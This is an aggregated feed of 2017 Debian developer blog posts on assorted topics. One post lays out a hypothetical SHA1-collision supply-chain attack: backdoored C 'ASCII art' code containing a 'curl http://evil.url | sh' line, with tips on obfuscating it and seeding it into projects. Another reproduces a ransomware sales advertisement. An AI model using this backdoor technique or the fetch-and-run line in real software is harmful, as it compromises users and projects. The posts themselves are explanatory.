February 24, 2017

hackergotchi for Gunnar Wolf

Gunnar Wolf

Started getting ads for ransomware. Coincidence?

Very strange. Verrrry strange.

Yesterday I wrote a blog post on spam stuff that has been hitting my mailbox. Nothing too deep, just me scratching my head.

Coincidentally (I guess/hope), I have been getting messages via my Bitlbee to one of my Jabber accounts, offering me ransomware services. I am reproducing it here, omitting of course everything I can recognize as their brand names related URLs (as I'm not going to promote the 3vi1-doers). I'm reproducing this whole as I'm sure the information will be interesting for some.

*BRAND* Ransomware - The Most Advanced and Customisable you've Ever Seen
Conquer your Independence with *BRAND* Ransomware Full Lifetime License!
* UNIQUE FEATURES
* NO DEPENDENCIES (.net or whatever)!!!
* Edit file Icon and UAC - Works on All Windows Versions
* Set Folders and Extensions to Encrypt, Deadline and Russian Roulette
* Edit the Text, speak with voice (multilang) and Colors for Ransom Window
* Enable/disable USB infect, network spread & file melt
* Set Process Name, sleep time, update ransom amount, Give mercy button
* Full-featured headquarter (for Windows) with unlimited builds, PDF reports, charts and maps, totally autonomous operation
* PHP Bridges instead of expensive C&C servers!
* Automatic Bitcoin payment detection (impossible to bypass/crack - we challege who says the contrary to prove what they say!)
* Totally/Mathematically IMPOSSIBLE to DECRYPT! Period.
* Award-Winning Five-Stars support and constant updates!
* We Have lot vouchs in *BRAND* Market, can check!
Watch the promo video: *URL*
Screenshots: *URL*
Website: *URL*
Price: $389
Promo: just $309 - 20% OFF! until 25th Feb 2017
Jabber: *JID*

I think I can comment on this with my students. Hopefully, this is interesting to others.
Now... I had never received Jabber-spam before. This message has been sent to me 14 times in the last 24 hours (all from different JIDs, all unknown to me). I hope this does not last forever :-/ Otherwise, I will have to learn more on how to configure Bitlbee to ignore contacts not known to me. Grrr...

24 February, 2017 07:06PM by gwolf

hackergotchi for Jonathan Dowland

Jonathan Dowland

OpenShift Java S2I

One of the products I have done some work on at Red Hat has recently been released to customers and there have been a few things written about it:

24 February, 2017 03:21PM

hackergotchi for Ritesh Raj Sarraf

Ritesh Raj Sarraf

Shivratri

जीवन का सत्य, शमशान।

शिव का है स्थान।

 

काली का तांडव नृत्य।

शिव का करे अभिनन्दन।

​​​​​

 

 

 

 

 

 

 

 

Categories: 

Keywords: 

Like: 

24 February, 2017 02:43PM by Ritesh Raj Sarraf

Sven Hoexter

Tcl and https - back to TclCurl

Must be the irony of life that I was about to give up the TclCurl Debian package some time ago, and now I'm using it again for some very old and horrible web scraping code.

The world moved on to https but the Tcl http package only supports unencrypted http. You can combine it with the tls package as explained in the Wiki, but that seems to be overly complicated compared to just loading the TclCurl binding and moving on with something like this:

package require TclCurl
# download to a variable
curl::transfer -url https://sven.stormbind.net -bodyvar page
# or store it in a file
curl::transfer -url https://sven.stormbind.net -file page.html

Now the remaining problem is that the code is unmaintained upstream and there is one codebase on bitbucket and one on github. While I fed patches to the bitbucket repo and thus based the Debian package on that repo, the github repo diverted in a different direction.

24 February, 2017 12:04PM

hackergotchi for Joey Hess

Joey Hess

SHA1 collision via ASCII art

Happy SHA1 collision day everybody!

If you extract the differences between the good.pdf and bad.pdf attached to the paper, you'll find it all comes down to a small ~128 byte chunk of random-looking binary data that varies between the files.

The SHA1 attack announced today is a common-prefix attack. The common prefix that we will use is this:

/* ASCII art for easter egg. */
char *amazing_ascii_art="\

(To be extra sneaky, you can add a git blob object header to that prefix before calculating the collisions. Doing so will make the SHA1 that git generates when checking in the colliding file be the thing that collides. This makes it easier to swap in the bad file later on, because you can publish a git repository containing it, and trick people into using that repository. ("I put a mirror on github!") The developers of the program will have the good version in their repositories and not notice that users are getting the bad version.)

Suppose that the attack was able to find collisions using only printable ASCII characters when calculating those chunks.

The "good" data chunk might then look like this:

7*yLN#!NOKj@{FPKW".<i+sOCsx9QiFO0UR3ES*Eh]g6r/anP=bZ6&IJ#cOS.w;oJkVW"<*.!,qjRht?+^=^/Q*Is0K>6F)fc(ZS5cO#"aEavPLI[oI(kF_l!V6ycArQ

And the "bad" data chunk like this:

9xiV^Ksn=<A!<^}l4~`uY2x8krnY@JA<<FA0Z+Fw!;UqC(1_ZA^fu#e}Z>w_/S?.5q^!WY7VE>gXl.M@d6]a*jW1eY(Qw(r5(rW8G)?Bt3UT4fas5nphxWPFFLXxS/xh

Now we need an ASCII artist. This could be a human, or it could be a machine. The artist needs to make an ASCII art where the first line is the good chunk, and the rest of the lines obfuscate how random the first line is.

Quick demo from a not very artistic ASCII artist, of the first 10th of such a picture based on the "good" line above:

7*yLN#!NOK
3*\LN'\NO@
3*/LN  \.A
5*\LN   \.
>=======:)
5*\7N   /.
3*/7N  /.V
3*\7N'/NO@
7*y7N#!NOX

Now, take your ASCII art and embed it in a multiline quote in a C source file, like this:

/* ASCII art for easter egg. */
char *amazing_ascii_art="\
7*yLN#!NOK \
3*\\LN'\\NO@ \
3*/LN  \\.A \ 
5*\\LN   \\. \
>=======:) \
5*\\7N   /. \
3*/7N  /.V \
3*\\7N'/NO@ \
7*y7N#!NOX";
/* We had to escape backslashes above to make it a valid C string.
 * Run program with --easter-egg to see it in all its glory.
 */

/* Call this at the top of main() */
check_display_easter_egg (char **argv) {
    if (strcmp(argv[1], "--easter-egg") == 0)
        printf(amazing_ascii_art);
    if (amazing_ascii_art[0] == "9")
        system("curl http://evil.url | sh");
}

Now, you need a C ofuscation person, to make that backdoor a little less obvious. (Hint: Add code to to fix the newlines, paint additional ASCII sprites over top of the static art, etc, add animations, and bury the shellcode in there.)

After a little work, you'll have a C file that any project would like to add, to be able to display a great easter egg ASCII art. Submit it to a project. Submit different versions of it to 100 projects! Everything after line 3 can be edited to make lots of different versions targeting different programs.

Once a project contains the first 3 lines of the file, followed by anything at all, it contains a SHA1 collision, from which you can generate the bad version by swapping in the bad data chuck. You can then replace the good file with the bad version here and there, and noone will be the wiser (except the easter egg will display the "bad" first line before it roots them).

Now, how much more expensive would this be than today's SHA1 attack? It needs a way to generate collisions using only printable ASCII. Whether that is feasible depends on the implementation details of the SHA1 attack, and I don't really know. I should stop writing this blog post and read the rest of the paper.

You can pick either of these two lessons to take away:

  1. ASCII art in code is evil and unsafe. Avoid it at any cost. apt-get moo

  2. Git's security is getting broken to the point that ASCII art (and a few hundred thousand dollars) is enough to defeat it.


My work today investigating ways to apply the SHA1 collision to git repos (not limited to this blog post) was sponsored by Thomas Hochstein on Patreon.

24 February, 2017 01:06AM

February 23, 2017

Stig Sandbeck Mathisen

Change all the passwords (again)

Looks like it is time to change all the passwords again. There’s a tiny little flaw in a CDN used … everywhere, it seems.

Here’s a quick hack for users of the “pass” password manager to qickly find the domains affected. It is not perfect, but it is fast. :)

#!/bin/bash

# Stig Sandbeck Mathisen <ssm@fnord.no>

# Checks the content of "pass" against the list of sites using cloudflare.
# Expect false positives, and possibly false negatives.

# TODO: remove the left part of each hostname from pass, to check domains.

set -euo pipefail

tempdir=$(mktemp -d)
trap 'echo >&2 "removing ${tempdir}" ; rm -rf "$tempdir"' EXIT

git clone https://github.com/pirate/sites-using-cloudflare.git "$tempdir"

grep -F -x -f \
  <(pass git ls-files  | sed -e s,/,\ ,g -e s/.gpg// | xargs -n 1 | sort -u) \
  "${tempdir}/sorted_unique_cf.txt" \
  | sort -u

Update: The previous example used parallel. Actually, I didn’t need that. Turns out, using grep correctly is much faster than using grep the wrong way. Lession: Read the manual. :)

23 February, 2017 11:00PM

hackergotchi for Steinar H. Gunderson

Steinar H. Gunderson

Fyrrom recording released

The recording of yesterday's Fyrrom (Samfundet's unofficial take on Boiler Room) is now available on YouTube. Five video inputs, four hours, two DJs, no dropped frames. Good times.

Soundcloud coming soon!

23 February, 2017 10:28PM

hackergotchi for Steve Kemp

Steve Kemp

Rotating passwords

Like many people I use a password-manage to record logins to websites. I previously used a tool called pwsafe, but these days I switched to using pass.

Although I don't like the fact the meta-data is exposed the tool is very useful, and its integration with git is both simple and reliable.

Reading about the security issue that recently affected cloudflare made me consider rotating some passwords. Using git I figured I could look at the last update-time of my passwords. Indeed that was pretty simple:

git ls-tree -r --name-only HEAD | while read filename; do
  echo "$(git log -1 --format="%ad" -- $filename) $filename"
done

Of course that's not quite enough because we want it sorted, and to do that using the seconds-since-epoch is neater. All together I wrote this:

#!/bin/sh
#
# Show password age - should be useful for rotation - we first of all
# format the timestamp of every *.gpg file, as both unix+relative time,
# then we sort, and finally we output that sorted data - but we skip
# the first field which is the unix-epoch time.
#
( git ls-tree -r --name-only HEAD | grep '\.gpg$' | while read filename; do \
      echo "$(git log -1 --format="%at %ar" -- $filename) $filename" ; done ) \
        | sort | awk '{for (i=2; i<NF; i++) printf $i " "; print $NF}'

Not the cleanest script I've ever hacked together, but the output is nice:

 steve@ssh ~ $ cd ~/Repos/personal/pass/
 steve@ssh ~/Repos/personal/pass $ ./password-age | head -n 5
 1 year, 10 months ago GPG/root@localhost.gpg
 1 year, 10 months ago GPG/steve@steve.org.uk.OLD.gpg
 1 year, 10 months ago GPG/steve@steve.org.uk.NEW.gpg
 1 year, 10 months ago Git/git.steve.org.uk/root.gpg
 1 year, 10 months ago Git/git.steve.org.uk/skx.gpg

Now I need to pick the sites that are more than a year old and rotate credentials. Or delete accounts, as appropriate.

23 February, 2017 10:00PM

Joerg Jaspert

Automated wifi login

If you have the fortune to need to follow some silly “Login” button for some wifi, regularly, the following little script may help you avoid this idiotic (and useless) task.

This example uses the WIFIonICE, the free wifi on german ICE trains, simply as I have it twice a day, and got annoyed by the pointless Login button. A friend pointed me at just wget-ting the login page, so I made Network-Manager do this for me. Should work for anything similar that doesn’t need some elaborate webform filled out.

#!/bin/bash

# (Some) docs at
# https://wiki.ubuntuusers.de/NetworkManager/Dispatcher/

IFACE=${1:-"none"}
ACTION=${2:-"up"}

case ${ACTION} in
    up)
        CONID=${CONNECTION_ID:-$(iwconfig $IFACE | grep ESSID | cut -d":" -f2 | sed 's/^[^"]*"\|"[^"]*$//g')}
        if [[ ${CONID} == WIFIonICE ]]; then
            /usr/bin/timeout -k 20 15 /usr/bin/wget -q -O - http://www.wifionice.de/?login > /dev/null
        fi
        ;;
    *)
        # We are not interested in this
        :
        ;;
esac

This script needs to be put into /etc/NetworkManager/dispatcher.d and made executable, owned by the root user. It will run on every connection change, thats why the ACTION is checked. The case may be a bit much here, but it could be easily extended to do a lot more.

Yay, no more silly “Open this webpage and press login” crap.

23 February, 2017 08:32PM

hackergotchi for Lucas Nussbaum

Lucas Nussbaum

Implementing “right to disconnect” by delaying outgoing email?

France passed a law about “right to disconnect” (more info here or here). The idea of not sending professional emails when people are not supposed to read them in order to protect their private lifes, is a pretty good one, especially when hierarchy is involved. However, I tend to do email at random times, and I would rather continue doing that, but just delay the actual sending of the email to the appropriate time (e.g., when I do email in the evening, it would actually be sent the following morning at 9am).

I wonder how I could make this fit into my email workflow. I write email using mutt on my laptop, then push it locally to nullmailer, that then relays it,  over an SSH tunnel, to a remote server (running Exim4).

Of course the fallback solution would be to use mutt’s postponing feature. Or to draft the email in a text editor. But that’s not really nice, because it requires going back to the email at the appropriate time. I would like a solution where I would write the email, add a header (or maybe manually add a Date: header — in all cases that header should reflect the time the mail was sent, not the time it was written), send the email, and have nullmailer or the remote server queue it until the appropriate time is reached (e.g., delaying while “current_time < Date header in email”). I don’t want to do that for all emails: e.g. personal emails can go out immediately.

Any ideas on how to implement that? I’m attached to mutt and relaying using SSH, but not attached to nullmailer or exim4. Ideally the delaying would happen on my remote server, so that my laptop doesn’t need to be online at the appropriate time.

Update: mutt does not allow to set the Date: field manually (if you enable the edit_headers option and edit it manually, its value gets overwritten). I did not find the relevant code yet, but that behaviour is mentioned in that bug.

Update 2: ah, it’s this code in sendlib.c (and there’s no way to configure that behaviour):

 /* mutt_write_rfc822_header() only writes out a Date: header with
 * mode == 0, i.e. _not_ postponment; so write out one ourself */
 if (post)
   fprintf (msg->fp, "%s", mutt_make_date (buf, sizeof (buf)));

23 February, 2017 07:26AM by lucas

hackergotchi for Gunnar Wolf

Gunnar Wolf

Spam: Tactics, strategy, and angry bears

I know spam is spam is spam, and I know trying to figure out any logic underneath it is a lost cause. However... I am curious.

Many spam subjects are seemingly random, designed to convey whatever "information" they contain and fool spam filters. I understand that.

Many spam subjects are time-related. As an example, in the last months there has been a surge of spam mentioning Donald Trump. I am thankful: Very easy to filter out, even before it reaches spamassassin.

Of course, spam will find thousands of ways to talk about sex; cialis/viagra sellers, escort services, and a long list of WTF.

However... Tactical flashlights. Bright enough to blind a bear.

WTF‽‽‽

I mean... Truly. Really. WTF‽‽

What does that mean? Why is that even a topic? Who is interested in anything like that? How often does the average person go camping in the woods? Why do we need to worry about stupid bears attacking us? Why would a bear attack me?

The list of WTF questions could go on forever. What am I missing? What does "tactical flashlight" mean that I just fail to grasp? Has this appeared in your spam?

23 February, 2017 05:55AM by gwolf

February 22, 2017

hackergotchi for Neil McGovern

Neil McGovern

A new journey – GNOME Foundation Executive Director

IMG_0726For those who haven’t heard, I’ve been appointed as the new Executive Director of the GNOME Foundation, and I started last week on the 15th February.

It’s been an interesting week so far, mainly meeting lots of people and trying to get up to speed with what looks like an enormous job! However, I’m thoroughly excited by the opportunity and am very grateful for everyone’s warm words of welcome so far.

One of the main things I’m here to do is to try and help. GNOME is strong because of its community. It’s because of all of you that GNOME can produce world leading technologies and a desktop that is intuitive, clean and functional. So, if you’re stuck with something, or if there’s a way that either myself or the Foundation can help, then please speak up!

Additionally, I intend on making this blog a much more frequently updated one – letting people know what I’m doing, and highlighting cool things that are happening around the project. In that vein, this week I’ve also started contacting all our fantastic Advisory Board members. I’m also looking at finding sponsors for GUADEC and GNOME.Asia, so if you know of anyone, let me know! I also booked my travel to the GTK+ hackfest and to LibrePlanet – if you’re going to either of those, make sure you come and introduce yourself :)

Finally, a small advertisement for Friends of GNOME. Your generosity really does help the Foundation support development of GNOME. Join up today!

22 February, 2017 04:50PM by Neil McGovern

hackergotchi for Lisandro Damián Nicanor Pérez Meyer

Lisandro Damián Nicanor Pérez Meyer

Developing an nrf51822 based embedded device with Qt Creator and Debian

I'm currently developing an nRF51822-based embedded device. Being one the Qt/Qt Creator maintainers in Debian I would of course try to use it for the development. Turns out it works pretty good... with some caveats.

There are already two quite interesting blog posts about using Qt Creator on MAC and on Windows, so I will not repeat the basics, as they are there. Both use qbs, but I managed to use CMake.

Instead I'll add some tips on the stuff that I needed to solve in order to make this happen on current Debian Sid.


  • The required toolchain is already in Debian, just install binutils-arm-none-eabi, gcc-arm-none-eabi and gdb-arm-none-eabi.
  • You will not find arm-none-eabi-gdb-py on the gdb-arm-none-eabi package. Fear not, the provided gdb binary is compiled against python so it will work.
  • To enable proper debugging be sure to follow this flag setup. If you are using CMake like in this example be sure to modify CMake/toolchain_gcc.cmake as necessary.
  • In Qt Creator you might find that, while try to run or debug your app, you are greated with a message box that says "Cannot debug: Local executable is not set." Just go to Projects →Run and change "Run configuration" until you get a valid path (ie, a path to the .elf or .out file) in the "Executable" field.

Cheers!

22 February, 2017 01:18PM by Lisandro Damián Nicanor Pérez Meyer (noreply@blogger.com)

Enrico Zini

staticsite news: github mode and post series

GitHub mode

Tobias Gruetzmacher implemented GitHub mode for staticsite.

Although GitHub now has a similar site rendering mode, it doesn't give you a live preview: if you run ssite serve on a GitHub project you will get a live preview of README.md and the project documentation.

Post series

I have added support for post series, that allow you to easily interlink posts with previous/next links.

You can see it in action on links and on An Italian song a day, an ongoing series that is currently each day posting a link to an Italian song.

22 February, 2017 01:10PM

hackergotchi for Jonathan Dowland

Jonathan Dowland

Hans Rosling and Steve Hewlett

I've begun to listen to BBC4's "More Or Less" Podcast. They recently had an episode covering the life and work of Hans Rosling, the inspirational swedish statistician, who has sadly died of pancreatic cancer. It was very moving. Some of Professor Rosling's videos are available to view online. I've heard that they are very much worth watching.

Over the last few months I have also been listening to regular updates by BBC broadcaster Steve Hewlett on his own journey as a cancer sufferer. These were remarkably frank discussions of the ins and outs of his diagnosis, treatment, and the practical consequences on his everyday life. I was very sad to tune in on Monday evening and hear a series of repeated clips from his previous appearances on the PM show, as the implications were clear. And indeed, Steve Hewlett died from oesophagal cancer on Monday. Here's an obituary in the Guardian.

22 February, 2017 11:13AM

hackergotchi for Junichi Uekawa

Junichi Uekawa

Trying to use Termux on chromebook.

Trying to use Termux on chromebook. I am exclusively using chromebook for my client side work. Android apps work on this device, and so does Termux. I was pondering how to make things more useful, like using Download directory integration and chrome apps, but not quite got things set up. Then I noticed that it's possible to use sshd on termux. It only accepts public key authentication, but that's enough for me. I can now use my SecureShell chrome app to connect and get things working. Android apps don't support all the keybinds but SecureShell does, which improves my life a bit.

22 February, 2017 09:42AM by Junichi Uekawa

hackergotchi for Joey Hess

Joey Hess

early spring

Sun is setting after 7 (in the JEST TZ); it's early spring. Batteries are generally staying above 11 volts, so it's time to work on the porch (on warmer days), running the inverter and spinning up disc drives that have been mostly off since fall. Back to leaving the router on overnight so my laptop can sync up before I wake up.

Not enough power yet to run electric lights all evening, and there's still a risk of a cloudy week interrupting the climb back up to plentiful power. It's happened to me a couple times before.

Also, turned out that both of my laptop DC-DC power supplies developed partial shorts in their cords around the same time. So at first I thought it was some problem with the batteries or laptop, but eventually figured it out and got them replaced. (This may have contributed the the cliff earier; seemed to be worst when house voltage was low.)

Soon, 6 months of more power than I can use..

Previously: battery bank refresh late summer the cliff

22 February, 2017 04:51AM

February 21, 2017

hackergotchi for Shirish Agarwal

Shirish Agarwal

The Indian elections hungama

a person showing s(he) showing s(he)

Before I start, I would like to point out #855549 . This is a normal/wishlist bug I have filed against apt, the command-line package manager. I sincerely believe having a history command to know what packages were installed, which were upgraded, which were purged should be easily accessible, easily understood and if the output looks pretty, so much the better. Of particular interest to me is having a list of new packages I have installed in last couple of years after jessie became the stable release. It probably would make for some interesting reading. I dunno how much efforts would be to code something like that, but if it works, it would be the greatest. Apt would have finally arrived. Not that it’s a bad tool, it’s just that it would then make for a heck of a useful tool.

Coming back to the topic on hand, Now for the last couple of weeks we don’t have water or rather pressure of water. Water crisis has been hitting Pune every year since 2014 with no end in sight. This has been reported in newspapers addendum but it seems it has been felling on deaf ears. The end result of it is that I have to bring buckets of water from around 50 odd metres.

It’s not a big thing, it’s not like some women in some villages in Rajasthan who have to walk in between 200 metres to 5 odd kilometres to get potable water or Darfur, Western Sudan where women are often kidnapped and sold as sexual slaves when they get to fetch water. The situation in Darfur has been shown quite vividly in Darfur is Dying . It is possible that I may have mentioned about Darfur before. While unfortunately the game is in flash as a web resource, the most disturbing part is that the game is extremely depressing, there is a no-win scenario.

So knowing and seeing both those scenarios, I can’t complain about 50 metres. BUT….but… when you extrapolate the same data over some more or less 3.3-3.4 million citizens, 3.1 million during 2011 census with a conservative 2.3-2.4 percent population growth rate according to scroll.in.

Fortunately or unfortunately, Pune Municipal Corporation elections were held today. Fortunately or unfortunately, this time all the political parties bought majorly unknown faces in these elections. For e.g. I belong to ward 14 which is spread over quite a bit of area and has around 10k of registered voters.

Now the unfortunate part of having new faces in elections, you don’t know anything about them. Apart from the affidavits filed, the only thing I come to know is whether there are criminal cases filed against them and what they have shown as their wealth.

While I am and should be thankful to ADR which actually is the force behind having the collated data made public. There is a lot of untold story about political push-back by all the major national and regional political parties even when this bit of news were to be made public. It took major part of a decade for such information to come into public domain.

But for my purpose of getting clean air and water supply 24×7 to each household seems a very distant dream. I tried to connect with the corporators about a week before the contest and almost all of the lower party functionaries hid behind their political parties manifestos stating they would do the best without any viable plan.

For those not knowing, India has been blessed with 6 odd national parties and about 36 odd regional parties and every election some 20-25 new parties try their luck every time.

The problem is we, the public, don’t trust them or their manifestos. First of all the political parties themselves engage in mud-slinging as to who’s copying whom with the manifesto.Even if a political party wins the elections, there is no *real* pressure for them to follow their own manifesto. This has been going for many a year. OF course, we the citizens are to also blame as most citizens for one reason or other chose to remain aloof of the process. I scanned/leafed through all the manifestos and all of them have the vague-wording ‘ we will make Pune tanker-free’ without any implementation details. While I was unable to meet the soon-to-be-Corporators, I did manage to meet a few of the assistants but all the meetings were entirely fruitless.

Diagram of Rain Water Harvesting

I asked why can’t the city follow the Chennai model. Chennai, not so long ago was at the same place where Pune is, especially in relation to water. What happened next, in 2001 has been beautifully chronicled in Hindustan Times . What has not been shared in that story is that the idea was actually fielded by one of Chennai Mayor’s assistants, an IAS Officer, I have forgotten her name, Thankfully, her advise/idea was taken to heart by the political establishment and they drove RWH.

Saying why we can’t do something similar in Pune, I heard all kinds of excuses. The worst and most used being ‘Marathas can never unite’ which I think is pure bullshit. For people unfamiliar to the term, Marathas was a warrior clan in Shivaji’s army. Shivaji, the king of Marathas were/are an expert tactician and master of guerilla warfare. It is due to the valor of Marathas, that we still have the Maratha Light Infantry a proud member of the Indian army.

Why I said bullshit was the composition of people living in Maharashtra has changed over the decades. While at one time both the Brahmins and the Marathas had considerable political and population numbers, that has changed drastically. Maharashtra and more pointedly, Mumbai, Pune and Nagpur have become immigrant centres. Why just a decade back, Shiv Sena, an ultra right-wing political party used to play the Maratha card at each and every election and heckle people coming from Uttar Pradesh and Bihar, this has been documented as the 2008 immigrants attacks and 9 years later we see Shiv Sena trying to field its candidates in Uttar Pradesh. So, obviously they cannot use the same tactics which they could at one point of time.

One more reason I call it bullshit, is it’s a very lame excuse. When the Prime Minister of the country calls for demonetization which affects 1.25 billion people, people die, people stand in queues and is largely peaceful, I do not see people resisting if they bring a good scheme. I almost forgot, as an added sweetener, the Chennai municipality said that if you do RWH and show photos and certificates of the job, you won’t have to pay as much property tax as otherwise you would, that also boosted people’s participation.

And that is not the only solution, one more solution has been outlined in ‘Aaj Bhi Khade hain talaab’ written by just-deceased Gandhian environmental activist Anupam Mishra. His Book can be downloaded for free at India Water Portal . Unfortunately, the said book doesn’t have a good English translation till date. Interestingly, all of his content is licensed under public domain (CC-0) so people can continue to enjoy and learn from his life-work.

Another lesson or understanding could be taken from Israel, the father of the modern micro-drip irrigation for crops. One of the things on my bucket lists is to visit Israel and if possible learn how they went from a water-deficient country to a water-surplus one.

India labor

Which brings me to my second conundrum, most of the people believe that it’s the Government’s job to provide jobs to its people. India has been experiencing jobless growth for around a decade now, since the 2008 meltdown. While India was lucky to escape that, most of its trading partners weren’t hence it slowed down International trade which slowed down creation of new enterprises etc. Laws such as the Bankruptcy law and the upcoming Goods and Services Tax . As everybody else, am a bit excited and a bit apprehensive about how the actual implementation will take place.

null

Even International businesses has been found wanting. The latest example has been Uber and Ola. There have been protests against the two cab/taxi aggregators operating in India. For the millions of jobless students coming out of schools and Universities, there aren’t simply enough jobs for them, nor are most (okay 50%) of them qualified for the jobs, these 50 percent are also untrainable, so what to do ?

In reality, this is what keeps me awake at night. India is sitting on this ticking bomb-shell. It is really, a miracle that the youths have not rebelled yet.

While all the conditions, proposals and counter-proposals have been shared before, I wanted/needed to highlight it. While the issue seems to be local, I would assert that they are all glocal in nature. The questions we are facing, I’m sure both developing and to some extent even developed countries have probably been affected by it. I look forward to know what I can learn from them.

Update – 23/02/17 – I had wanted to share about Debian’s Voting system a bit, but that got derailed. Hence in order not to do, I’ll just point towards 2015 platforms where 3 people vied for DPL post. I *think* I shared about DPL voting process earlier but if not, would do in detail in some future blog post.


Filed under: Miscellenous Tagged: #Anupam Mishra, #Bankruptcy law, #Chennai model, #clean air, #clean water, #elections, #GST, #immigrant, #immigrants, #Maratha, #Maratha Light Infantry, #migration, #national parties, #Political party manifesto, #regional parties, #ride-sharing, #water availability, Rain Water Harvesting

21 February, 2017 11:11PM by shirishag75

hackergotchi for Steinar H. Gunderson

Steinar H. Gunderson

8-bit Y'CbCr ought to be enough for anyone?

If you take a random computer today, it's pretty much a given that it runs a 24-bit mode (8 bits of each of R, G and B); as we moved from palettized displays at some point during the 90s, we quickly went past 15- and 16-bit and settled on 24-bit. The reasons are simple; 8 bits per channel is easy to work with on CPUs, and it's on the verge of what human vision can distinguish, at least if you add some dither. As we've been slowly taking the CPU off the pixel path and replacing it with GPUs (which has specialized hardware for more kinds of pixels formats), changing formats have become easier, and there's some push to 10-bit (30-bit) “deep color” for photo pros, but largely, 8-bit per channel is where we are.

Yet, I'm now spending time adding 10-bit input (and eventually also 10-bit output) to Nageru. Why? The reason is simple: Y'CbCr.

Video traditionally isn't done in RGB, but in Y'CbCr; that is, a black-and-white signal (Y) and then two color-difference signals (Cb and Cr, roughly “additional blueness“ and “additional redness”, respectively). We started doing this because it was convenient in analog TV (if you separate the two, black-and-white TVs can just ignore the color signal), but we kept doing it because it's very nice for reducing bandwidth: Human vision is much less sensitive to color than to brightness, so we can transfer the color channels in lower resolution and get away with it. (Also, a typical Bayer sensor can't deliver full color resolution anyway.) So most cameras and video codecs work in Y'CbCr, not RGB.

Let's look at the implications of using 8-bit Y'CbCr, using a highly simplified model for, well, simplicity. Let's define Y = 1/3 (R + G + B), Cr = R - Y and Cb = B - Y. (The reverse transformation becomes R = Y + Cr, B = Y + Cb and G = 3Y - R - B.)

This means that an RGB color such as pure gray ([127, 127, 127]) becomes [127, 0, 0]. All is good, and Y can go from 0 to 255, just like R, G and B can. A pure red ([255, 0, 0]) becomes [85, 170, 0], and a pure blue ([255, 0, 0]) becomes correspondingly [85, 0, 170]. But we can also have negative Cr and Cb values; a pure yellow ([0, 255, 255]) becomes [170, -170, 85], for instance. So we need to squeeze values from -170 to +170 into an 8-bit range, losing accuracy.

Even worse, there are valid Y'CbCr triplets that don't correspond to meaningful RGB colors at all. For instance, Y'CbCr [255, 170, 0] would be RGB [425, 85, 255]; R is out of range! And Y'CbCr [255, -170, 0] would be RGB [85, -85, 255], that is, negative green.

This isn't a problem for compression, as we can just avoid using those illegal “colors” with no loss of efficiency. But it means that the conversion in itself causes a loss; actually, if you do the maths on the real formulas (using the BT.601 standard), it turns out only 17% of the 24-bit Y'CbCr code words are valid!

In other words, we lose about two and a half bits of data, and our 24 bits of accuracy have been reduced to 21.5. Or, to put it another way; 8-bit Y'CbCr is roughly equivalent to 7-bit RGB.

Thus, pretty much all professional video uses 10-bit Y'CbCr. It's much more annoying to deal with (especially when you've got subsampling!), but if you're using SDI, there's not even any 8-bit version defined, so if you insist on 8-bit, you're taking data you're getting on the wire (whether you want it or not) and throwing 20% of it away. UHDTV standards (using HEVC) are also simply not defined for 8-bit; it's 10- and 12-bit only, even on the codec level. Parts of this is because UHDTV also supports HDR, so you have a wider RGB range than usual to begin with, and 8-bit would cause excessive banding.

Using it on the codec level makes a lot of sense for another reason, namely that you reduce internal roundoff errors during processing by a lot; errors equal noise, and noise is bad for compression. I've seen numbers of 15% lower bitrate for H.264 at the same quality, although you also have to take into account that the encoeder also needs more CPU power that you could have used for a higher preset in 8-bit. I don't know how the tradeoff here works out, and you also have to take into account decoder support for 10-bit, especially when it comes to hardware. (When it comes to HEVC, Intel didn't get full fixed-function 10-bit support before Kaby Lake!)

So indeed, 10-bit Y'CbCr makes sense even for quite normal video. It isn't a no-brainer to turn it on, though—even though Nageru uses a compute shader to convert the 4:2:2 10-bit Y'CbCr to something the GPU can sample from quickly (ie., the CPU doesn't need to touch it), and all internal processing is in 16-bit floating point anyway, it still takes a nonzero amount of time to convert compared to just blasting through 8-bit, so my ultraportable probably won't make it anymore. (A discrete GPU has no issues at all, of course. My laptop converts a 720p frame in about 1.4 ms, FWIW.) But it's worth considering when you want to squeeze even more quality out of the system.

And of course, there's still 10-bit output support to be written...

21 February, 2017 10:07PM

Reproducible builds folks

Reproducible Builds: week 95 in Stretch cycle

Here's what happened in the Reproducible Builds effort between Sunday February 12 and Saturday February 18 2017:

Upcoming Events

The Reproducible Build Zoo will be presented by Vagrant Cascadian at the Embedded Linux Conference in Portland, Oregon, February 22nd.

Introduction to Reproducible Builds will be presented by Vagrant Cascadian at Scale15x in Pasadena, California, March 5th.

Toolchain development and fixes

Ximin Luo posted a preliminary spec for BUILD_PATH_PREFIX_MAP, bringing together work and research from previous weeks.

Ximin refactored and consolidated much of our existing documentation on both SOURCE_DATE_EPOCH and BUILD_PATH_PREFIX_MAP into one unified page, Standard Environment Variables, with extended discussion on related solutions and how these all fit into people's ideas of what reproducible builds should look like in the long term. The specific pages for each variable still remain, at Timestamps Proposal and Build Path Proposal, only without content that was previously duplicated on both pages.

Ximin filed #855282 against devscripts for debsign(1) to support buildinfo files, and wrote an initial series of patches for it with some further additions from Guillem Jover.

Packages reviewed and fixed, and bugs filed

Chris Lamb:

Reviews of unreproducible packages

35 package reviews have been added, 1 have been updated and 17 have been removed in this week, adding to our knowledge about identified issues.

1 issue type has been added:

Weekly QA work

During our reproducibility testing, the following FTBFS bugs have been detected and reported by:

  • Chris Lamb (2)

diffoscope development

diffoscope 77 was uploaded to unstable by Mattia Rizzolo. It included contributions from:

  • Chris Lamb:
    • Some fixes to tests and testing config
    • Don't track archive directory locations, a better fix for CVE-2017-0359.
    • Add --exclude option. Closes: #854783
  • Mattia Rizzolo:
    • Add my key to debian/upstream/signing-key.asc
    • Add CVE-2017-0359 to the changelog of v76
  • Ximin Luo:
    • When extracting archives, try to keep directory sizes small

strip-nondeterminism development

strip-nondeterminism 0.031-1 was uploaded to unstable by Chris Lamb. It included contributions from:

  • Chris Lamb:
    • Make the tests less brittle, by not testing for stat(2) blksize and blocks. #854937

strip-nondeterminism 0.031-1~bpo8+1 was uploaded to jessie-backports by Mattia.

tests.reproducible-builds.org

  • Vagrant Cascadian and Holger Levsen set up two new armhf nodes, p64b and p64c running on pine64 boards with an arm64 kernel and armhf userland. This introduces kernel variations to armhf. New setup & maintenance jobs were set up too, plus 6 new builder jobs for armhf.

Misc.

This week's edition was written by Ximin Luo & reviewed by a bunch of Reproducible Builds folks on IRC & the mailing lists.

21 February, 2017 06:25PM

hackergotchi for Jonathan Dowland

Jonathan Dowland

Blinkstick and Doom

I recently implemented VGA "porch" flashing support in Chocolate Doom.

